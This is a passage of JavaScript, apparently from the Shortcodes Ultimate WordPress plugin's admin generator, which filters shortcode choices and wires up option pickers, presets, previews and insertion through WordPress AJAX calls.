'gi')\\n          var best = 0\\n          \u002F\u002F Hotkey action\\n          if (e.keyCode === 13 && $first.length > 0) {\\n            e.preventDefault()\\n            $(this).val('').blur()\\n            $first.trigger('click')\\n          }\\n          \u002F\u002F Hide all choices\\n          $choice.css(\\n            {\\n              opacity: 0.2\\n            }\\n          ).removeClass('su-generator-choice-first')\\n          \u002F\u002F Loop and highlight choices\\n          $choice.each(\\n            function () {\\n              \u002F\u002F Get choice data\\n              var data = $(this).data()\\n              var id = data.shortcode\\n              var name = data.name\\n              var desc = data.desc\\n              var group = data.group\\n              var matches = ([id, name, desc, group].join(' ')).match(regex)\\n              \u002F\u002F Highlight choice if matched\\n              if (matches !== null) {\\n                \u002F\u002F Highlight current choice\\n                $(this).css(\\n                  {\\n                    opacity: 1\\n                  }\\n                )\\n                \u002F\u002F Check for exact match\\n                if (val === id) {\\n                  \u002F\u002F Remove primary class from all choices\\n                  $choice.removeClass('su-generator-choice-first')\\n                  \u002F\u002F Add primary class to the current choice\\n                  $(this).addClass('su-generator-choice-first')\\n                  \u002F\u002F Prevent selecting by matches number\\n                  best = 999\\n                } else if (matches.length > best) { \u002F\u002F Check matches length\\n                  \u002F\u002F Remove primary class from all choices\\n                  $choice.removeClass('su-generator-choice-first')\\n                  \u002F\u002F Add primary class to the current choice\\n                  $(this).addClass('su-generator-choice-first')\\n                  \u002F\u002F Save the score\\n                  best = matches.length\\n                }\\n              }\\n            }\\n          )\\n          \u002F\u002F Remove primary class if search field is empty\\n          if (val === '') {\\n            $choice.removeClass('su-generator-choice-first')\\n          }\\n        }\\n      }\\n    )\\n    \u002F\u002F Click on shortcode choice\\n    $choice.on(\\n      'click',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var shortcode = $(this).data('shortcode')\\n        \u002F\u002F Load shortcode options\\n        $.ajax(\\n          {\\n            type: 'POST',\\n            url: ajaxurl,\\n            data: {\\n              action: 'su_generator_settings',\\n              shortcode: shortcode\\n            },\\n            beforeSend: function () {\\n              \u002F\u002F Hide preview box\\n              $('#su-generator-preview').hide()\\n              \u002F\u002F Hide choices panel\\n              $choices.hide()\\n              \u002F\u002F Show loading animation\\n              $settings.addClass('su-generator-loading').show()\\n              \u002F\u002F Add narrow class\\n              $generator.addClass('su-generator-narrow')\\n              \u002F\u002F Hide filters\\n              $filter.hide()\\n            },\\n            success: function (data) {\\n              \u002F\u002F Hide loading animation\\n              $settings.removeClass('su-generator-loading')\\n              \u002F\u002F Insert new HTML\\n              $settings.html(data)\\n              \u002F\u002F Apply selected text to the content field\\n              var $content = $('#su-generator-content')\\n              if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\\n                $content.val(self.state.mceSelection)\\n              }\\n              \u002F\u002F Init range pickers\\n              $('.su-generator-range-picker').each(\\n                function (index) {\\n                  var $picker = $(this)\\n                  var $val = $picker.find('input')\\n                  var min = $val.attr('min')\\n                  var max = $val.attr('max')\\n                  var step = $val.attr('step')\\n                  \u002F\u002F Apply noUIslider\\n                  $val.simpleSlider(\\n                    {\\n                      snap: true,\\n                      step: step,\\n                      range: [min, max]\\n                    }\\n                  )\\n                  $val.show()\\n                  $val.on(\\n                    'keyup blur',\\n                    function (e) {\\n                      $val.simpleSlider('setValue', $val.val())\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init color pickers\\n              $('.su-generator-select-color').each(\\n                function (index) {\\n                  $(this).find('.su-generator-select-color-wheel').filter(':first').farbtastic('.su-generator-select-color-value:eq(' + index + ')')\\n                  $(this).find('.su-generator-select-color-value').focus(\\n                    function () {\\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').show()\\n                    }\\n                  )\\n                  $(this).find('.su-generator-select-color-value').blur(\\n                    function () {\\n                      $('.su-generator-select-color-wheel:eq(' + index + ')').hide()\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init image sourse pickers\\n              $('.su-generator-isp').each(\\n                function () {\\n                  var $picker = $(this)\\n                  var $sources = $picker.find('.su-generator-isp-sources')\\n                  var $source = $picker.find('.su-generator-isp-source')\\n                  var $addMedia = $picker.find('.su-generator-isp-add-media')\\n                  var $images = $picker.find('.su-generator-isp-images')\\n                  var $cats = $picker.find('.su-generator-isp-categories')\\n                  var $taxes = $picker.find('.su-generator-isp-taxonomies')\\n                  var $terms = $('.su-generator-isp-terms')\\n                  var $val = $picker.find('.su-generator-attr')\\n                  var frame\\n                  \u002F\u002F Update hidden value\\n                  var update = function () {\\n                    var val = 'none'\\n                    var ids = ''\\n                    var source = $sources.val()\\n                    \u002F\u002F Media library\\n                    if (source === 'media') {\\n                      var images = []\\n                      $images.find('span').each(\\n                        function (i) {\\n                          images[i] = $(this).data('id')\\n                        }\\n                      )\\n                      if (images.length > 0) {\\n                        ids = images.join(',')\\n                      }\\n                    }\\n                    \u002F\u002F Category\\n                    else if (source === 'category') {\\n                      var categories = $cats.val() || []\\n                      if (categories.length > 0) {\\n                        ids = categories.join(',')\\n                      }\\n                    }\\n                    \u002F\u002F Taxonomy\\n                    else if (source === 'taxonomy') {\\n                      var tax = $taxes.val() || ''\\n                      var terms = $terms.val() || []\\n                      if (tax !== '0' && terms.length > 0) {\\n                        val = 'taxonomy: ' + tax + '\u002F' + terms.join(',')\\n                      }\\n                    }\\n                    \u002F\u002F Deselect\\n                    else if (source === '0') {\\n                      val = 'none'\\n                    }\\n                    \u002F\u002F Other options\\n                    else {\\n                      val = source\\n                    }\\n                    if (ids !== '') {\\n                      val = source + ': ' + ids\\n                    }\\n                    $val.val(val).trigger('change')\\n                  }\\n                  \u002F\u002F Switch source\\n                  $sources.on(\\n                    'change',\\n                    function (e) {\\n                      var source = $(this).val()\\n                      e.preventDefault()\\n                      $source.removeClass('su-generator-isp-source-open')\\n                      if (source.indexOf(':') === -1) {\\n                        $picker.find('.su-generator-isp-source-' + source).addClass('su-generator-isp-source-open')\\n                      }\\n                      update()\\n                    }\\n                  )\\n                  \u002F\u002F Remove image\\n                  $images.on(\\n                    'click',\\n                    'span i',\\n                    function () {\\n                      $(this).parent('span').css('border-color', '#f03').fadeOut(\\n                        300,\\n                        function () {\\n                          $(this).remove()\\n                          update()\\n                        }\\n                      )\\n                    }\\n                  )\\n                  \u002F\u002F Add image\\n                  $addMedia.click(\\n                    function (e) {\\n                      e.preventDefault()\\n                      if (typeof (frame) !== 'undefined') {\\n                        frame.close()\\n                      }\\n                      frame = wp.media.frames.su_media_frame_1 = wp.media(\\n                        {\\n                          title: SUGL10n.isp_media_title,\\n                          library: {\\n                            type: 'image'\\n                          },\\n                          button: {\\n                            text: SUGL10n.isp_media_insert\\n                          },\\n                          multiple: true\\n                        }\\n                      )\\n                      frame.on('open', function () {\\n                        $('.mfp-wrap').addClass('hidden')\\n                      })\\n                      frame.on('close', function () {\\n                        $('.mfp-wrap').removeClass('hidden')\\n                      })\\n                      frame.on(\\n                        'select',\\n                        function () {\\n                          var files = frame.state().get('selection').toJSON()\\n                          $images.find('em').remove()\\n                          $.each(\\n                            files,\\n                            function (i) {\\n                              $images.append('\u003Cspan data-id=\\\"' + this.id + '\\\">\u003Cimg src=\\\"' + this.url + '\\\" alt=\\\"\\\" \u002F>\u003Ci class=\\\"sui sui-times\\\">\u003C\u002Fi>\u003C\u002Fspan>')\\n                            }\\n                          )\\n                          update()\\n                        }\\n                      ).open()\\n                    }\\n                  )\\n                  \u002F\u002F Sort images\\n                  $images.sortable(\\n                    {\\n                      revert: 200,\\n                      containment: $picker,\\n                      tolerance: 'pointer',\\n                      stop: function () {\\n                        update()\\n                      }\\n                    }\\n                  )\\n                  \u002F\u002F Select categories and terms\\n                  $cats.on('change', update)\\n                  $terms.on('change', update)\\n                  \u002F\u002F Select taxonomy\\n                  $taxes.on(\\n                    'change',\\n                    function () {\\n                      var $cont = $(this).parents('.su-generator-isp-source')\\n                      var tax = $(this).val()\\n                      \u002F\u002F Remove terms\\n                      $terms.hide().find('option').remove()\\n                      update()\\n                      \u002F\u002F Taxonomy is not selected\\n                      if (tax === '0') {\\n\\n                      } else { \u002F\u002F Taxonomy selected\\n                        var ajaxTermSelect = $.ajax(\\n                          {\\n                            url: ajaxurl,\\n                            type: 'post',\\n                            dataType: 'html',\\n                            data: {\\n                              action: 'su_generator_get_terms',\\n                              tax: tax,\\n                              class: 'su-generator-isp-terms',\\n                              multiple: true,\\n                              size: 10\\n                            },\\n                            beforeSend: function () {\\n                              if (typeof ajaxTermSelect === 'object') {\\n                                ajaxTermSelect.abort()\\n                              }\\n                              $terms.html('').attr('disabled', true).hide()\\n                              $cont.addClass('su-generator-loading')\\n                            },\\n                            success: function (data) {\\n                              $terms.html(data).attr('disabled', false).show()\\n                              $cont.removeClass('su-generator-loading')\\n                            }\\n                          }\\n                        )\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init media buttons\\n              $('.su-generator-upload-button').each(\\n                function () {\\n                  var $button = $(this)\\n                  var $val = $(this).parents('.su-generator-attr-container').find('input:text')\\n                  var file\\n                  $button.on(\\n                    'click',\\n                    function (e) {\\n                      e.preventDefault()\\n                      e.stopPropagation()\\n                      \u002F\u002F If the frame already exists, reopen it\\n                      if (typeof (file) !== 'undefined') {\\n                        file.close()\\n                      }\\n                      \u002F\u002F Create WP media frame.\\n                      file = wp.media.frames.su_media_frame_2 = wp.media(\\n                        {\\n                          \u002F\u002F Title of media manager frame\\n                          title: SUGL10n.upload_title,\\n                          button: {\\n                            \u002F\u002F Button text\\n                            text: SUGL10n.upload_insert\\n                          },\\n                          \u002F\u002F Do not allow multiple files, if you want multiple, set true\\n                          multiple: false\\n                        }\\n                      )\\n                      \u002F\u002F callback for selected image\\n                      file.on(\\n                        'select',\\n                        function () {\\n                          var attachment = file.state().get('selection').first().toJSON()\\n                          $val.val(attachment.url).trigger('change')\\n                        }\\n                      )\\n                      file.on('open', function () {\\n                        $('.mfp-wrap').addClass('hidden')\\n                      })\\n                      file.on('close', function () {\\n                        $('.mfp-wrap').removeClass('hidden')\\n                      })\\n                      \u002F\u002F Open modal\\n                      file.open()\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init icon pickers\\n              $('.su-generator-icon-picker-button').each(\\n                function () {\\n                  var $button = $(this)\\n                  var $field = $(this).parents('.su-generator-attr-container')\\n                  var $val = $field.find('.su-generator-attr')\\n                  var $picker = $field.find('.su-generator-icon-picker')\\n                  var $filter = $picker.find('input:text')\\n                  $button.click(\\n                    function (e) {\\n                      $picker.toggleClass('su-generator-icon-picker-visible')\\n                      $filter.val('').trigger('keyup')\\n                      if ($picker.hasClass('su-generator-icon-picker-loaded')) {\\n                        return\\n                      }\\n                      \u002F\u002F Load icons\\n                      $.ajax(\\n                        {\\n                          type: 'post',\\n                          url: ajaxurl,\\n                          data: {\\n                            action: 'su_generator_get_icons'\\n                          },\\n                          dataType: 'html',\\n                          beforeSend: function () {\\n                            \u002F\u002F Show loading animation\\n                            $picker.addClass('su-generator-loading')\\n                            \u002F\u002F Add loaded class\\n                            $picker.addClass('su-generator-icon-picker-loaded')\\n                          },\\n                          success: function (data) {\\n                            $picker.append(data)\\n                            var $icons = $picker.children('i')\\n                            $icons.click(\\n                              function (e) {\\n                                $val.val('icon: ' + $(this).attr('title'))\\n                                $picker.removeClass('su-generator-icon-picker-visible')\\n                                $val.trigger('change')\\n                                e.preventDefault()\\n                              }\\n                            )\\n                            $filter.on(\\n                              {\\n                                keyup: function () {\\n                                  var val = $(this).val()\\n                                  var regex = new RegExp(val, 'gi')\\n                                  \u002F\u002F Hide all choices\\n                                  $icons.hide()\\n                                  \u002F\u002F Find searched choices and show\\n                                  $icons.each(\\n                                    function () {\\n                                      \u002F\u002F Get shortcode name\\n                                      var name = $(this).attr('title')\\n                                      \u002F\u002F Show choice if matched\\n                                      if (name.match(regex) !== null) {\\n                                        $(this).show()\\n                                      }\\n                                    }\\n                                  )\\n                                },\\n                                focus: function () {\\n                                  $(this).val('')\\n                                  $icons.show()\\n                                }\\n                              }\\n                            )\\n                            $picker.removeClass('su-generator-loading')\\n                          }\\n                        }\\n                      )\\n                      e.preventDefault()\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init switches\\n              $('.su-generator-switch').click(\\n                function (e) {\\n                  \u002F\u002F Prepare data\\n                  var $switch = $(this)\\n                  var $value = $switch.parent().children('input')\\n                  var isOn = $value.val() === 'yes'\\n                  \u002F\u002F Disable\\n                  if (isOn) {\\n                    \u002F\u002F Change value\\n                    $value.val('no').trigger('change')\\n                  } else { \u002F\u002F Enable\\n                    \u002F\u002F Change value\\n                    $value.val('yes').trigger('change')\\n                  }\\n                  e.preventDefault()\\n                }\\n              )\\n              $('.su-generator-switch-value').on(\\n                'change',\\n                function () {\\n                  \u002F\u002F Prepare data\\n                  var $value = $(this)\\n                  var $switch = $value.parent().children('.su-generator-switch')\\n                  var value = $value.val()\\n                  \u002F\u002F Disable\\n                  if (value === 'yes') {\\n                    $switch.removeClass('su-generator-switch-no').addClass('su-generator-switch-yes')\\n                  } else if (value === 'no') { \u002F\u002F Enable\\n                    $switch.removeClass('su-generator-switch-yes').addClass('su-generator-switch-no')\\n                  }\\n                }\\n              )\\n              \u002F\u002F Init tax_term selects\\n              $('select#su-generator-attr-taxonomy').on(\\n                'change',\\n                function () {\\n                  var $taxonomy = $(this)\\n                  var tax = $taxonomy.val()\\n                  var $terms = $('select#su-generator-attr-tax_term')\\n                  \u002F\u002F Load new options\\n                  window.su_generator_get_terms = $.ajax(\\n                    {\\n                      type: 'POST',\\n                      url: ajaxurl,\\n                      data: {\\n                        action: 'su_generator_get_terms',\\n                        tax: tax,\\n                        noselect: true\\n                      },\\n                      dataType: 'html',\\n                      beforeSend: function () {\\n                        \u002F\u002F Check previous requests\\n                        if (typeof window.su_generator_get_terms === 'object') {\\n                          window.su_generator_get_terms.abort()\\n                        }\\n                        \u002F\u002F Show loading animation\\n                        $terms.parent().addClass('su-generator-loading')\\n                      },\\n                      success: function (data) {\\n                        \u002F\u002F Remove previous options\\n                        $terms.find('option').remove()\\n                        \u002F\u002F Append new options\\n                        $terms.append(data)\\n                        \u002F\u002F Hide loading animation\\n                        $terms.parent().removeClass('su-generator-loading')\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init shadow pickers\\n              $('.su-generator-shadow-picker').each(\\n                function (index) {\\n                  var $picker = $(this)\\n                  var $fields = $picker.find('.su-generator-shadow-picker-field input')\\n                  var $hoff = $picker.find('.su-generator-sp-hoff')\\n                  var $voff = $picker.find('.su-generator-sp-voff')\\n                  var $blur = $picker.find('.su-generator-sp-blur')\\n                  var $color = {\\n                    cnt: $picker.find('.su-generator-shadow-picker-color'),\\n                    value: $picker.find('.su-generator-shadow-picker-color-value'),\\n                    wheel: $picker.find('.su-generator-shadow-picker-color-wheel')\\n                  }\\n                  var $val = $picker.find('.su-generator-attr')\\n                  \u002F\u002F Init color picker\\n                  $color.wheel.farbtastic($color.value)\\n                  $color.value.focus(\\n                    function () {\\n                      $color.wheel.show()\\n                    }\\n                  )\\n                  $color.value.blur(\\n                    function () {\\n                      $color.wheel.hide()\\n                    }\\n                  )\\n                  \u002F\u002F Handle text fields\\n                  $fields.on(\\n                    'change blur keyup',\\n                    function () {\\n                      $val.val($hoff.val() + 'px ' + $voff.val() + 'px ' + $blur.val() + 'px ' + $color.value.val()).trigger('change')\\n                    }\\n                  )\\n                  $val.on(\\n                    'keyup',\\n                    function () {\\n                      var value = $(this).val().split(' ')\\n                      \u002F\u002F Value is correct\\n                      if (value.length === 4) {\\n                        $hoff.val(value[0].replace('px', ''))\\n                        $voff.val(value[1].replace('px', ''))\\n                        $blur.val(value[2].replace('px', ''))\\n                        $color.value.val(value[3])\\n                        $fields.trigger('keyup')\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init border pickers\\n              $('.su-generator-border-picker').each(\\n                function (index) {\\n                  var $picker = $(this)\\n                  var $fields = $picker.find('.su-generator-border-picker-field input, .su-generator-border-picker-field select')\\n                  var $width = $picker.find('.su-generator-bp-width')\\n                  var $style = $picker.find('.su-generator-bp-style')\\n                  var $color = {\\n                    cnt: $picker.find('.su-generator-border-picker-color'),\\n                    value: $picker.find('.su-generator-border-picker-color-value'),\\n                    wheel: $picker.find('.su-generator-border-picker-color-wheel')\\n                  }\\n                  var $val = $picker.find('.su-generator-attr')\\n                  \u002F\u002F Init color picker\\n                  $color.wheel.farbtastic($color.value)\\n                  $color.value.focus(\\n                    function () {\\n                      $color.wheel.show()\\n                    }\\n                  )\\n                  $color.value.blur(\\n                    function () {\\n                      $color.wheel.hide()\\n                    }\\n                  )\\n                  \u002F\u002F Handle text fields\\n                  $fields.on(\\n                    'change blur keyup',\\n                    function () {\\n                      $val.val($width.val() + 'px ' + $style.val() + ' ' + $color.value.val()).trigger('change')\\n                    }\\n                  )\\n                  $val.on(\\n                    'keyup',\\n                    function () {\\n                      var value = $(this).val().split(' ')\\n                      \u002F\u002F Value is correct\\n                      if (value.length === 3) {\\n                        $width.val(value[0].replace('px', ''))\\n                        $style.val(value[1])\\n                        $color.value.val(value[2])\\n                        $fields.trigger('keyup')\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Remove skip class when setting is changed\\n              $settings.find('.su-generator-attr').on(\\n                'change keyup blur',\\n                function () {\\n                  var $cnt = $(this).parents('.su-generator-attr-container')\\n                  var _default = $cnt.data('default')\\n                  var val = $(this).val()\\n                  \u002F\u002F Value is changed\\n                  if (val != _default) {\\n                    $cnt.removeClass('su-generator-skip')\\n                  } else {\\n                    $cnt.addClass('su-generator-skip')\\n                  }\\n                }\\n              )\\n              \u002F\u002F Init value setters\\n              $('.su-generator-set-value').click(\\n                function (e) {\\n                  $(this).parents('.su-generator-attr-container').find('input').val($(this).text()).trigger('change')\\n                }\\n              )\\n              \u002F\u002F Save selected value\\n              $selected.val(shortcode)\\n              \u002F\u002F Load last used preset\\n              $.ajax(\\n                {\\n                  type: 'GET',\\n                  url: ajaxurl,\\n                  data: {\\n                    action: 'su_generator_get_preset',\\n                    id: 'last_used',\\n                    shortcode: shortcode,\\n                    nonce: $('#su_generator_presets_nonce').val()\\n                  },\\n                  beforeSend: function () {\\n                    \u002F\u002F Show loading animation\\n                    \u002F\u002F $settings.addClass('su-generator-loading');\\n                  },\\n                  success: function (data) {\\n                    \u002F\u002F Remove loading animation\\n                    \u002F\u002F $settings.removeClass('su-generator-loading');\\n                    \u002F\u002F Set new settings\\n                    self.setSettings(data)\\n                    \u002F\u002F Apply selected text to the content field\\n                    var $content = $('#su-generator-content')\\n                    if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\\n                      $content.val(self.state.mceSelection)\\n                    }\\n                  },\\n                  dataType: 'json'\\n                }\\n              )\\n            },\\n            dataType: 'html'\\n          }\\n        )\\n      }\\n    )\\n    \u002F\u002F Insert shortcode\\n    $('#su-generator').on('click', '.su-generator-insert', self.insertShortcode)\\n    \u002F\u002F Preview shortcode\\n    $('#su-generator').on(\\n      'click',\\n      '.su-generator-toggle-preview',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var $preview = $('#su-generator-preview')\\n        var $button = $(this)\\n        \u002F\u002F Hide button\\n        $button.hide()\\n        \u002F\u002F Show preview box\\n        $preview.addClass('su-generator-loading').show()\\n        \u002F\u002F Bind updating on settings changes\\n        $settings.find('input, textarea, select').on(\\n          'change keyup blur',\\n          function () {\\n            self.updatePreview()\\n          }\\n        )\\n        \u002F\u002F Update preview box\\n        self.updatePreview(true)\\n        \u002F\u002F Prevent default action\\n        e.preventDefault()\\n      }\\n    )\\n    var gp_hover_timer\\n    \u002F\u002F Presets manager - mouseenter\\n    $('#su-generator').on(\\n      'mouseenter click',\\n      '.su-generator-presets',\\n      function () {\\n        clearTimeout(gp_hover_timer)\\n        $('.su-gp-popup').show()\\n      }\\n    )\\n    \u002F\u002F Presets manager - mouseleave\\n    $('#su-generator').on(\\n      'mouseleave',\\n      '.su-generator-presets',\\n      function () {\\n        gp_hover_timer = window.setTimeout(\\n          function () {\\n            $('.su-gp-popup').fadeOut(200)\\n          },\\n          600\\n        )\\n      }\\n    )\\n    \u002F\u002F Presets manager - add new preset\\n    $('#su-generator').on(\\n      'click',\\n      '.su-gp-new',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var $container = $(this).parents('.su-generator-presets')\\n        var $list = $('.su-gp-list')\\n        var id = new Date().getTime()\\n        \u002F\u002F Ask for preset name\\n        var name = prompt(SUGL10n.presets_prompt_msg, SUGL10n.presets_prompt_value)\\n        \u002F\u002F Name is entered\\n        if (name !== '' && name !== null) {\\n          \u002F\u002F Hide default text\\n          $list.find('b').hide()\\n          \u002F\u002F Add new option\\n          $list.append('\u003Cspan data-id=\\\"' + id + '\\\">\u003Cem>' + name + '\u003C\u002Fem>\u003Ci class=\\\"sui sui-times\\\">\u003C\u002Fi>\u003C\u002Fspan>')\\n          \u002F\u002F Perform AJAX request\\n          self.addPreset(id, name)\\n        }\\n      }\\n    )\\n    \u002F\u002F Presets manager - load preset\\n    $('#su-generator').on(\\n      'click',\\n      '.su-gp-list span',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var shortcode = $('.su-generator-presets').data('shortcode')\\n        var id = $(this).data('id')\\n        var $insert = $('.su-generator-insert')\\n        \u002F\u002F Hide popup\\n        $('.su-gp-popup').hide()\\n        \u002F\u002F Disable hover timer\\n        clearTimeout(gp_hover_timer)\\n        \u002F\u002F Get the preset\\n        $.ajax(\\n          {\\n            type: 'GET',\\n            url: ajaxurl,\\n            data: {\\n              action: 'su_generator_get_preset',\\n              id: id,\\n              shortcode: shortcode,\\n              nonce: $('#su_generator_presets_nonce').val()\\n            },\\n            beforeSend: function () {\\n              \u002F\u002F Disable insert button\\n              $insert.addClass('button-primary-disabled').attr('disabled', true)\\n            },\\n            success: function (data) {\\n              \u002F\u002F Enable insert button\\n              $insert.removeClass('button-primary-disabled').attr('disabled', false)\\n              \u002F\u002F Set new settings\\n              self.setSettings(data)\\n            },\\n            dataType: 'json'\\n          }\\n        )\\n        \u002F\u002F Prevent default action\\n        e.preventDefault()\\n        e.stopPropagation()\\n      }\\n    )\\n    \u002F\u002F Presets manager - remove preset\\n    $('#su-generator').on(\\n      'click',\\n      '.su-gp-list i',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var $list = $(this).parents('.su-gp-list')\\n        var $preset = $(this).parent('span')\\n        var id = $preset.data('id')\\n        \u002F\u002F Remove DOM element\\n        $preset.remove()\\n        \u002F\u002F Show default text if last preset was removed\\n        if ($list.find('span').length \u003C 1) {\\n          $list.find('b').show()\\n        }\\n        \u002F\u002F Perform ajax request\\n        self.removePreset(id)\\n        \u002F\u002F Prevent \u003Cspan> action\\n        e.stopPropagation()\\n        \u002F\u002F Prevent default action\\n        e.preventDefault()\\n      }\\n    )\\n  }\\n\\n  \u002F**\\n\\t * Create new preset with specified name from current settings\\n\\t *\u002F\\n  self.addPreset = function (id, name) {\\n    \u002F\u002F Prepare shortcode name and current settings\\n    var shortcode = $('.su-generator-presets').data('shortcode')\\n    var settings = self.getSettings()\\n    \u002F\u002F Perform AJAX request\\n    $.ajax(\\n      {\\n        type: 'POST',\\n        url: ajaxurl,\\n        data: {\\n          action: 'su_generator_add_preset',\\n          id: id,\\n          name: name,\\n          shortcode: shortcode,\\n          settings: settings,\\n          nonce: $('#su_generator_presets_nonce').val()\\n        }\\n      }\\n    )\\n  }\\n  \u002F**\\n\\t * Remove preset by ID\\n\\t *\u002F\\n  self.removePreset = function (id) {\\n    \u002F\u002F Get current shortcode name\\n    var shortcode = $('.su-generator-presets').data('shortcode')\\n    \u002F\u002F Perform AJAX request\\n    $.ajax(\\n      {\\n        type: 'POST',\\n        url: ajaxurl,\\n        data: {\\n          action: 'su_generator_remove_preset',\\n          id: id,\\n          shortcode: shortcode,\\n          nonce: $('#su_generator_presets_nonce').val()\\n        }\\n      }\\n    )\\n  }\\n\\n  self.parseSettings = function () {\\n    var settingsSelector = $('#su-generator-option-skip').val() === 'on'\\n      ? '#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr'\\n      : '#su-generator-settings .su-generator-attr-container .su-generator-attr'\\n    \u002F\u002F Prepare data\\n    var query = $selected.val()\\n    var prefix = $prefix.val()\\n    var $settings = $(settingsSelector)\\n    var $content = $('textarea#su-generator-content')\\n    var content = $content.length ? $content.val() : 'false'\\n    var result = new String('')\\n    \u002F\u002F Open shortcode\\n    result += '[' + prefix + query\\n    \u002F\u002F Add shortcode attributes\\n    $settings.each(\\n      function () {\\n        \u002F\u002F Prepare field and value\\n        var $this = $(this)\\n        var value = ''\\n        \u002F\u002F Selects\\n        if ($this.is('select')) {\\n          value = $this.find('option:selected').val()\\n        }\\n        \u002F\u002F Other fields\\n        else {\\n          value = $this.val()\\n        }\\n        \u002F\u002F Check that value is not empty\\n        if (value == null) {\\n          value = ''\\n        } else if (typeof value === 'array') {\\n          value = value.join(',')\\n        }\\n        \u002F\u002F Add attribute\\n        if (value !== '') {\\n          result += ' ' + $(this).attr('name') + '=\\\"' + $(this).val().toString().replace(\u002F\\\"\u002Fgi, \\\"'\\\") + '\\\"'\\n        }\\n      }\\n    )\\n    \u002F\u002F End of opening tag\\n    result += ']'\\n    \u002F\u002F Wrap shortcode if content presented\\n    if (content != 'false') {\\n      result += content + '[\u002F' + prefix + query + ']'\\n    }\\n    \u002F\u002F Return result\\n    return result\\n  }\\n\\n  self.getSettings = function () {\\n    \u002F\u002F Prepare data\\n    var query = $selected.val()\\n    var $settings = $('#su-generator-settings .su-generator-attr')\\n    var $content = $('textarea#su-generator-content')\\n    var content = $content.length ? $content.val() : 'false'\\n    var data = {}\\n    \u002F\u002F Add shortcode attributes\\n    $settings.each(\\n      function (i) {\\n        \u002F\u002F Prepare field and value\\n        var $this = $(this)\\n        var value = ''\\n        var name = $this.attr('name')\\n        \u002F\u002F Selects\\n        if ($this.is('select')) {\\n          value = $this.find('option:selected').val()\\n        }\\n        \u002F\u002F Other fields\\n        else {\\n          value = $this.val()\\n        }\\n        \u002F\u002F Check that value is not empty\\n        if (value == null) {\\n          value = ''\\n        }\\n        \u002F\u002F Save value\\n        data[name] = value\\n      }\\n    )\\n    \u002F\u002F Add content\\n    data.content = content.toString()\\n    \u002F\u002F Return data\\n    return data\\n  }\\n\\n  self.setSettings = function (data) {\\n    \u002F\u002F Prepare data\\n    var $settings = $('#su-generator-settings .su-generator-attr')\\n    var $content = $('#su-generator-content')\\n    \u002F\u002F Loop through settings\\n    $settings.each(\\n      function () {\\n        var $this = $(this)\\n        var name = $this.attr('name')\\n        \u002F\u002F Data contains value for this field\\n        if (data.hasOwnProperty(name)) {\\n          \u002F\u002F Set new value\\n          $this.val(data[name])\\n          $this.trigger('keyup').trigger('change').trigger('blur')\\n        }\\n      }\\n    )\\n    \u002F\u002F Set content\\n    if (data.hasOwnProperty('content')) {\\n      $content.val(data.content).trigger('keyup').trigger('change').trigger('blur')\\n    }\\n    \u002F\u002F Update preview\\n    self.updatePreview()\\n  }\\n\\n  self.updatePreview = function (forced) {\\n    \u002F\u002F Prepare data\\n    var $preview = $('#su-generator-preview')\\n    var shortcode = self.parseSettings()\\n    var previous = $result.text()\\n    \u002F\u002F Check forced mode\\n    forced = forced || false\\n    \u002F\u002F Break if preview box is hidden (preview isn't enabled)\\n    if (!$preview.is(':visible')) {\\n      return\\n    }\\n    \u002F\u002F Check shortcode is changed is this is not a forced mode\\n    if (shortcode === previous && !forced) {\\n      return\\n    }\\n    \u002F\u002F Run timer to filter often calls\\n    window.clearTimeout(self.state.preview.timer)\\n    self.state.preview.timer = window.setTimeout(\\n      function () {\\n        self.state.preview.request = $.ajax(\\n          {\\n            type: 'POST',\\n            url: ajaxurl,\\n            cache: false,\\n            data: {\\n              action: 'su_generator_preview',\\n              shortcode: shortcode,\\n              nonce: $('#su_generator_preview_nonce').val()\\n            },\\n            beforeSend: function () {\\n              \u002F\u002F Abort previous requests\\n              if (self.state.preview.request) {\\n                self.state.preview.request.abort()\\n              }\\n              \u002F\u002F Show loading animation\\n              $preview.addClass('su-generator-loading').html('')\\n            },\\n            success: function (data) {\\n              \u002F\u002F Hide loading animation and set new HTML\\n              $preview.html(data).removeClass('su-generator-loading')\\n            },\\n            dataType: 'html'\\n          }\\n        )\\n      },\\n      300\\n    )\\n    \u002F\u002F Save shortcode to div\\n    $result.text(shortcode)\\n  }\\n\\n  self.insert = function (context, args) {\\n    if (typeof context !== 'string' || typeof args !== 'object') {\\n      return\\n    }\\n\\n    self.state.context = context\\n    self.state.insertArgs = args\\n\\n    var preSelectedShortcode = args.shortcode || ''\\n\\n    var mfpOptions = {\\n      type: 'inline',\\n      alignTop: true,\\n      closeOnBgClick: false,\\n      mainClass: 'su-generator-mfp',\\n      items: {\\n        src: '#su-generator'\\n      },\\n      callbacks: {}\\n    }\\n\\n    mfpOptions.callbacks.open = () => {\\n      if (preSelectedShortcode) {\\n        $choice.filter(`[data-shortcode=\\\"${preSelectedShortcode}\\\"]`).trigger('click')\\n      } else {\\n        window.setTimeout(() => $search.focus(), 200)\\n      }\\n\\n      \u002F\u002F self.el.body.addClass( 'su-mfp-shown' );\\n\\n      if (\\n        typeof tinyMCE !== 'undefined' &&\\n\\t\\t\\t\\ttinyMCE.activeEditor != null &&\\n\\t\\t\\t\\ttinyMCE.activeEditor.hasOwnProperty('selection')\\n      ) {\\n        self.state.mceSelection = tinyMCE.activeEditor.selection.getContent({ format: 'text' })\\n      }\\n    }\\n\\n    mfpOptions.callbacks.close = () => {\\n      $search.val('')\\n      